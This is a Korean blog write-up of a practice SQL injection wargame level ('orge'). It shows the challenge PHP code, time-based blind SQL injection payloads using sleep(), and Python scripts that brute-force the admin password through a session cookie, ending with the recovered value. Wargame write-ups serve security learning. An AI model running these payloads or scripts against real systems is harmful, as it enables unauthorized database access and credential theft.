Orge Write-up

Ccr3t·2025년 7월 28일
0

Wargame

목록 보기
20/55

[Solved in under 10 minutes]

또 빨리 풀려서 하나 더 한다.
흐름이야~

가보자

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  highlight_file(__FILE__); 
?>

코드를 간단하게 정리하자면 id=guest 고정이고 pw를 인자로 받는다.
필터링은 이전 문제와 같이 or, and로 받는다.

하지만, 이 문제는 조금 다른게

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 

이 구문으로 인해서 pw값의 유무를 판단하고 그 pw가 DB안에 들어있는 admin의 pw와 일치하는지 검증하기 때문에 무조건 pw값을 알아내야 한다.

?pw=1

일단 guest의 비밀번호가 1이 아닌것을 확인해주고 아 맞다 굳이 안적고 비워도 된다 이것도 내 습관이다 양해바람다~

그다음 바로 sleep() 함수부터 가보자

1' || sleep(3) %23

역시나 아주 잘 먹힌다.

고로 이 문제는 Time-based SQL Injection이다

이전에 시간내서 코드 짜둔걸 조금만 변경하자면
or (우회)-> ||
and (우화)-> &&

이거 바꾸고 URL만 바꿔주면?

import requests
import time
import string

url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
cookie = {'PHPSESSID': 'p3b42jo6aurcdrdm8av7dl686l'}

charset = '0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLNMOPQRSTUVWXYZ'
pw_len_result = ''
result_all = ''

print("PW 길이 찾기 요이땅!")

for pw_len in range(1, 33):
    len_payload = f"1' || if(length(pw)={pw_len}, sleep(3), 0) #"
    len_start = time.time()
    len_response = requests.get(url, params={'pw': len_payload}, cookies=cookie)
    len_found_time = time.time() - len_start
    
    if len_found_time > 2:
        pw_len_result = pw_len
        print(f"PW 길이 : {pw_len}")
        break

print("PW 값 찾기 요이땅!")

if pw_len_result:
    for i in range(1, pw_len_result + 1):
        result = []
        for char in charset:
            payload = f"1' || binary substring(pw,{i},1)='{char}' && sleep(3) #"

            start = time.time()
            response = requests.get(url, params={'pw': payload}, cookies=cookie)
            found_time = time.time() - start

            if found_time > 2:
                result += char
                print(f"PW 값 {i}번째 : {char}")
        
        if len(result) == 1:   
            result_all += result[0]
        elif len(result) > 1:
            result_all += f"[{''.join(result)}]"
        else:
            print("다시 돌려라.")
        
else:
    print("PW 길이 못 찾았다. 다시 돌려라.")
    
print(f"PW 값 {pw_len_result}자리  : {result_all}")
[7d][bf][7j][5s][1k][ao][ae][8c]

일단 이 코드에 대한 설명은 Orc Write-up을 확인하자.

간단하게 sleep문을 이용해서 한자리씩 Brute-force하여 2초이상 sleep이면 그 값을 가져오는 형식이다.

미치겠다.
뭔데 왜 값들이 두개씩 8자리인건데?

뭔가 코드 잘 못 짰나 싶어서 직접

1' || binary substring(pw,1,1)='7' %26%26 sleep(3) %23
1' || binary substring(pw,1,1)='d' %26%26 sleep(3) %23

꽂아보니 진짜 둘 다 sleep()이 걸린다 허허

이 방식이 틀려서 이렇게 된 걸수도 있어요 여러분
저를 너무 믿지 마세요.

저도 사실 저를 못 믿겠어요 ㅜㅠㅜ

걍 다시 한번 울며 겨자먹기로 노가다 하자...

라고 생각했는데 생각해보니 2^8 = 256가지의 경우의수다.

예~미 ㅅㅋㅋㅋㅋㅋㅋㅋㅋ

GPT형님한테 가서 코드 값 보내서 응답있는거 있음 그걸로 뽑아줘.
'해줘' 했더니

import requests
import itertools
import re

url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
cookies = {'PHPSESSID': 'p3b42jo6aurcdrdm8av7dl686l'}  # 필요 시 설정

# 사용자 입력 받기
user_input = "[7d][bf][7j][5s][1k][ao][ae][8c]"

# 대괄호 안 문자들만 추출
# 예: [7d] → ['7', 'd']
char_sets = [list(group) for group in re.findall(r'\[([^\[\]]+)\]', user_input)]

# 조합 생성
combinations = itertools.product(*char_sets)

for combo in combinations:
    pw = ''.join(combo)
    params = {'pw': pw}
    res = requests.get(url, params=params, cookies=cookies)

    if "clear" in res.text.lower():  # 성공 판단 기준 문자열
        print(f"[+] Found: {pw}")
        break
7b751aec

1초만에 바로 뽑혔다.

삽입해보자

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ 답 ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

?pw=7b751aec

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

얏~호 뭔가 기분 되게 더러운데 일단 풀렸으니..

아니 그런데 진짜 LoS 서버문제인가? 아니면 값이 두개 들어가 있는건가?

아님 누가 LoS에 SQLI 조져서 값이 하나 더 들어간건가?

아님 내 능지 부족인가?
이쪽이 제일 가깝다고 본다.

여하튼 풀었으니 됐잖아~

LoS(Lord of SQL Injection) Orge Write-up

이상 보고 끝!

profile
웹해킹을 잘 못 하지만 좋아 하려고 노력하는 한 젊은이.

0개의 댓글